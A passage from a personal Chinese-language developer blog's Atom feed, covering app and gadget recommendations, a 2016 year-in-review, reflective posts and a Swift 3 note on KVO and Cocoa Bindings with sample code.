&lt;p&gt;剩下来的一些 App 再介绍一下：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Social 文件夹：全是聊天工具或者消遣的 App，除了 Tweetbot 用的多把它放在外面之外，剩下的都在里面；&lt;/li&gt;
  &lt;li&gt;Photos 文件夹：处理图片，比如有 Instagram 家的三件套，拼长图的工具 Picsaw、Tailor 和 LongScreen（都很推荐），微软的 Lens 适合把照片或者名片电子化；&lt;/li&gt;
  &lt;li&gt;Credit 文件夹：银行讨债用，日常浦发抽积分；&lt;/li&gt;
  &lt;li&gt;Alipay：人人喊打，但是要买个东西付个款你还得用；&lt;/li&gt;
  &lt;li&gt;Tweetbot：刷推；&lt;/li&gt;
  &lt;li&gt;Lightroom + Instagram + Swarm：签到，拍照，记录生活；&lt;/li&gt;
  &lt;li&gt;网易云音乐：日常上下班听歌，或者开 Castro 听 Podcast；&lt;/li&gt;
  &lt;li&gt;Dropbox + Paper：文件共享和协作；&lt;/li&gt;
  &lt;li&gt;Youtube：看 Unbox Therapy 等等视频；&lt;/li&gt;
  &lt;li&gt;Calendars 5 + Mail：处理工作日程和邮件；&lt;/li&gt;
  &lt;li&gt;Reeder：订阅 RSS，知识和信息的获取来源。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;q4-推荐一个让生活更美好的物件&quot;&gt;Q4. 推荐一个让生活更美好的物件？&lt;/h2&gt;

&lt;p&gt;不得不提的是 &lt;strong&gt;Sony MDR-1000X&lt;/strong&gt;。隔音的效果太好了，能在上班的时候减少很多外界的干扰。同时如果喜欢听歌的话，1000X 的音质也是不用说的，效果棒棒哒！&lt;/p&gt;

&lt;h2 id=&quot;q5-分享一个改善生活的小习惯&quot;&gt;Q5. 分享一个改善生活的小习惯。&lt;/h2&gt;

&lt;p&gt;睡觉前戴一下花王的蒸汽眼罩，第二天会发现睡得特别的好！&lt;/p&gt;

&lt;h2 id=&quot;q6-说一个你很喜欢但还少有人知道的-app&quot;&gt;Q6. 说一个你很喜欢、但还少有人知道的 App。&lt;/h2&gt;

&lt;p&gt;Euclidea。非常小众的一款智力游戏，就是尺规作图。无聊的时候可以玩玩，挑战自己的脑力极限。他们家还有个好玩的智力游戏叫作 Tchisla（希腊文中「算数」的意思）。&lt;/p&gt;

&lt;h2 id=&quot;q7-在你订阅的付费服务当中哪一些是不可或缺的&quot;&gt;Q7. 在你订阅的付费服务当中哪一些是不可或缺的？&lt;/h2&gt;

&lt;p&gt;列个列表吧：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;iCloud Drive：用来同步我的照片（这个人照片太多了）；&lt;/li&gt;
  &lt;li&gt;PlayStation Plus：每个月都有想玩的游戏；&lt;/li&gt;
  &lt;li&gt;Apple Developer Program：没有这个我就要死了。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;q8-有什么自己用过-100-元以内提升自己生活品质的好东西吗&quot;&gt;Q8. 有什么自己用过 100 元以内提升自己生活品质的好东西吗？&lt;/h2&gt;

&lt;p&gt;MUJI 的靠枕和证件包。靠枕在&lt;a href=&quot;https://sspai.com/post/38949&quot;&gt;这篇文章&lt;/a&gt;中有说明；证件包自然就是能帮助我收纳护照、证件的一个非常大的夹子，出国旅行的时候特别有用。&lt;/p&gt;

&lt;h2 id=&quot;q9-厚颜无耻地问一下怎么联系你&quot;&gt;Q9. 厚颜无耻地问一下怎么联系你？&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Telegram: &lt;a href=&quot;https://t.me/Ceeee&quot;&gt;@Ceeee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Twitter: &lt;a href=&quot;https://twitter.com/ceecirno&quot;&gt;@Ceecirno&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Blog: &lt;a href=&quot;http://blog.cee.moe&quot;&gt;Perfect Freeze&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Mail: ceecirno#gmail.com&lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>  本文首发于少数派，原文链接：https://sspai.com/post/38970。转载请说明出处。</summary></entry><entry><title>Oh My 2016</title><id>http://blog.cee.moe/Oh-My-2016.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Oh-My-2016.html" /><published>2016-12-31T00:00:00-08:00</published><updated>2016-12-30T20:46:48-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;家畜の安寧
虚偽の繁栄
死せる餓狼の『自由』を！&lt;/p&gt;

&lt;h2 id=&quot;moments&quot;&gt;Moments&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; &lt;a href=&quot;http://atswift.io&quot;&gt;@Swift Conf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; 抑郁&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; 和少将、迷子去南昌找球球玩&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; 拿到驾照&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; 重新开始玩 Project Diva&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; 鸡鸣寺赏樱、夜游&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; 日本毕业旅行🇯🇵&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 莫名去了武汉&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 在大剧场举办的学园祭&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6&lt;/strong&gt; 毕业🎓&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7&lt;/strong&gt; 突然决定来帝都，加入了&lt;a href=&quot;http://raventech.com&quot;&gt;渡鸦&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8&lt;/strong&gt; 送走出国的大学同学，还有&lt;a href=&quot;http://www.justzht.com&quot;&gt;小萌&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9&lt;/strong&gt; &lt;a href=&quot;http://magicalmirai.com&quot;&gt;マジカルミライ 2016&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; Release &lt;a href=&quot;https://itunes.apple.com/cn/app/inflow/id1164994325?mt=8&quot;&gt;inFlow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; 四十八小时参加了两场 Hackathon&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; Release &lt;a href=&quot;https://itunes.apple.com/cn/app/qreader-qing-liang-ji-er-wei/id1171614122?mt=12&quot;&gt;QReader&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; 北京雾霾，机场半日游&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; Release &lt;a href=&quot;https://raventech.com/box&quot;&gt;Raven H-1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; Release &lt;a href=&quot;https://itunes.apple.com/cn/app/fin.-everything-would-come/id1180426402?mt=8&quot;&gt;fin.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; Celebrate 🎂21 w/ &lt;a href=&quot;https://banana.moe&quot;&gt;羽喵&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; Release &lt;a href=&quot;https://itunes.apple.com/us/app/12-dogs/id1183408984?mt=8&quot;&gt;12 Dogs&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;input--output&quot;&gt;Input &amp;amp; Output&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; Sony Z3 (l55t)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Sony Z5 Dual (E6683)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; PSV 2000&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; iPhone 6s Plus (Rose Gold)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Sony MDR-1000&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; PSV 1000&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; MacBook Pro (Mid 2014)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; iPhone 7 Plus (Jet Black)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; MacBook Pro (Late 2016)&lt;/p&gt;

&lt;h2 id=&quot;numbers&quot;&gt;Numbers&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;4,025 photos&lt;/li&gt;
  &lt;li&gt;12 posts&lt;/li&gt;
  &lt;li&gt;2,205 twitter followers&lt;/li&gt;
  &lt;li&gt;466 instagram followers&lt;/li&gt;
  &lt;li&gt;11 books&lt;/li&gt;
  &lt;li&gt;663 contributions (only on GitHub)&lt;/li&gt;
  &lt;li&gt;46,526 lines of code
    &lt;ul&gt;
      &lt;li&gt;Objective-C&lt;/li&gt;
      &lt;li&gt;Swift&lt;/li&gt;
      &lt;li&gt;Shell Scripts&lt;/li&gt;
      &lt;li&gt;JavaScript&lt;/li&gt;
      &lt;li&gt;HTML&lt;/li&gt;
      &lt;li&gt;Python&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;hall-of-fame&quot;&gt;Hall of Fame&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;年度 iOS 应用：&lt;a href=&quot;https://itunes.apple.com/us/app/omnifocus-2/id904071710?mt=8&quot;&gt;OmniFocus&lt;/a&gt;、&lt;a href=&quot;https://workflow.is&quot;&gt;Workflow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;年度 Mac 应用：&lt;a href=&quot;http://ela.build/oneclock&quot;&gt;One Clock&lt;/a&gt;、&lt;a href=&quot;https://itunes.apple.com/us/app/omnifocus-2/id867299399?mt=12&quot;&gt;OmniFocus for Mac&lt;/a&gt;、&lt;a href=&quot;https://ia.net/writer&quot;&gt;IA Writer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的游戏：&lt;a href=&quot;https://itunes.apple.com/us/app/inks./id1081847121?mt=8&quot;&gt;INKS.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的番剧：&lt;a href=&quot;http://www.imdb.com/title/tt2085059/&quot;&gt;Black Mirror SE3&lt;/a&gt;、&lt;a href=&quot;http://www.tv-tokyo.co.jp/kichijoji/&quot;&gt;吉祥寺だけが住みたい街ですか？&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的歌手：ナノ、fhána&lt;/li&gt;
  &lt;li&gt;最喜欢的歌曲：STYX HELIX、夢灯籠、前前前世、生きていたんだよな、恋、何者&lt;/li&gt;
  &lt;li&gt;离不开的设备：MacBook Pro with TouchBar&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-next&quot;&gt;The Next&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Go abroad for further study&lt;/li&gt;
  &lt;li&gt;Fight for freedom&lt;/li&gt;
  &lt;li&gt;Earn more money in less time&lt;/li&gt;
  &lt;li&gt;找一个专属的画师&lt;/li&gt;
  &lt;li&gt;出门五次以上&lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>Summary</summary></entry><entry><title>写给 2017 的你和我</title><id>http://blog.cee.moe/letter-to-2017.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/letter-to-2017.html" /><published>2016-12-29T00:00:00-08:00</published><updated>2016-12-30T00:14:15-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/Tb7tr45lCu0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;blockquote&gt;
  &lt;p&gt;青春が終わり、人生が始まる。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;ol&gt;
  &lt;li&gt;每个人都更容易被满足：
    &lt;blockquote&gt;
      &lt;p&gt;踏入社会，无论是工作还是继续深造学习，如果能通过知识或者金钱的积累满足每个人的愿望，那就最好不过了。&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;不断最大化个人的利益：
    &lt;blockquote&gt;
      &lt;p&gt;可能站在一年前或者两年以前，我一定会说先满足集体利益再考虑自我。但是站在现在的这个节点看来，满足自己的利益不被集体损害要优先于其他任何事情。未来可是在自己手里。&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;继续努力追求自由：
    &lt;blockquote&gt;
      &lt;p&gt;写给仍被关在学校中学习的你，亦或是感觉上了一年班依旧感觉两手空空的你。无论是精神还是物质上的自由，我们都需要去不断努力追求。今年自己做的几个决定&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;，可能都比较鲁莽和草率，但是离自己想要的自由的生活却越来越近了。&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;还能有梦想，还敢去想：
    &lt;blockquote&gt;
      &lt;p&gt;脚踏实地地做事，但是眼（da）睛（nao）看到的地方要远。&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;多找老司机聊天：
    &lt;blockquote&gt;
      &lt;p&gt;找到一个知心的老司机与你分享 ta 的人生经验是一件绝妙的事情。今年得谢谢小明和谦哥，又一次改变了自己的人生和价值观。&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;最後、あけおめ。&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;footnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;在下一篇博客里会了解到这些内容&amp;nbsp;&lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

          
          
        
      
        </content><summary></summary></entry><entry><title>做决定及其他</title><id>http://blog.cee.moe/make-decisions-and-others.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/make-decisions-and-others.html" /><published>2016-12-27T00:00:00-08:00</published><updated>2016-12-29T18:41:37-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;在去年年末写总结的时候，自己曾经写下「希望今年一年做决定能够更加的果断和勇敢」之类的话语。现在看来，的确是做到了一部分，但少些时候依旧会变得很被动、优柔寡断。分门别类，有两种情况：&lt;/p&gt;

&lt;p&gt;一，是涉及集体时所做的决定。根据&lt;a href=&quot;https://zh.wikipedia.org/wiki/囚徒困境&quot;&gt;囚徒困境&lt;/a&gt;理论，现实就是一个非零和博弈，&lt;strong&gt;个人的理性选择往往会导致集体的非理性结果&lt;/strong&gt;。并且，在赵国往往有着「吃力不讨好」的说法，所以在这时做的决定往往是基于感性，而非理性。&lt;/p&gt;

&lt;p&gt;二，是涉及复杂影响因素和未来导向的决定。比如曾在十月份纠结「出国还是工作后再出国」。这个决定涉及家庭环境、未来自己的出路（比如，大家都很关心的…钱？）等等。做这种决定时，自己还是喜欢找人讨论后再小心谨慎地去做。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;最近很受伤，于是昨晚发了条&lt;a href=&quot;https://twitter.com/Ceecirno/status/813417010839158784&quot;&gt;推&lt;/a&gt;：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;@Ceecirno: 想了想，自己還是喜歡當一個「好」人。即使付出了努力被別人指責，退一步來說，還是要相信會有美好的回報和未來吧。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/3_3QyFZgdss&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;blockquote&gt;
  &lt;p&gt;在夜里，她轻声哼唱着安慰自己，相信在这个世界上总会有人心疼自己，于是便也有了这首「宝贝」。多少年过去，不知是否真正找到了那个疼她人，但是这首歌却安慰了多少个孤独的孩子和多少受伤的心。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;张悬：很多人喜欢「宝贝」这首歌，给我的回馈是，会对女儿唱这首歌、对情人唱这首歌、对父母唱这首歌，但他们从来不对自己唱这首歌，没有人会把自己当宝贝。我突然觉得大家对於自由、简单或是实现梦想充满了期待跟最后一点的无助，而那个无助让你感到退却或自卑。&lt;/p&gt;
&lt;/blockquote&gt;


          
          
        
      
        </content><summary>在去年年末写总结的时候，自己曾经写下「希望今年一年做决定能够更加的果断和勇敢」之类的话语。现在看来，的确是做到了一部分，但少些时候依旧会变得很被动、优柔寡断。分门别类，有两种情况：</summary></entry><entry><title>一个在 Swift 3.0 下关于 KVO 和 Cocoa Bindings 的坑</title><id>http://blog.cee.moe/swift-3-kvo-and-cocoa-bindings.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/swift-3-kvo-and-cocoa-bindings.html" /><published>2016-11-23T00:00:00-08:00</published><updated>2016-11-23T00:10:06-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;前段时间好好的看了一下 Cocoa Bindings，然后做了一个最基本的 Demo：三个 &lt;code class=&quot;highlighter-rouge&quot;&gt;NSSlider&lt;/code&gt; 控制一个 &lt;code class=&quot;highlighter-rouge&quot;&gt;NSColorWell&lt;/code&gt; 的颜色变化。结果发现无论怎么拖动 slider 都无法改变 well 的颜色。代码如下：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CGFloat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CGFloat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CGFloat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;dynamic&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSColor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;srgbRed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;green&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;blue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;alpha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;keyPathForValuesAffectingColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;g&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;今天有空的时候又重新研究了一下，发现 Swift 里面 KVO 有两个坑：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;被观察的属性应该是 &lt;code class=&quot;highlighter-rouge&quot;&gt;dynamic&lt;/code&gt; 的；&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;keyPathForValuesAffecting&amp;lt;Key&amp;gt;&lt;/code&gt; 在 Swift 下面被改方法名了。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;很好奇的是，第二点官方也没有说明，API docs 里面也是 no diff 的状态。&lt;/p&gt;

&lt;p&gt;修改后代码如下：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;dynamic&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CGFloat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;dynamic&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CGFloat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;dynamic&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CGFloat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;dynamic&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSColor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;srgbRed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;green&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;blue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;alpha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;keyPathsForValueAffectingValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;forKey&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;guard&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;color&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;g&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

          
          
        
      
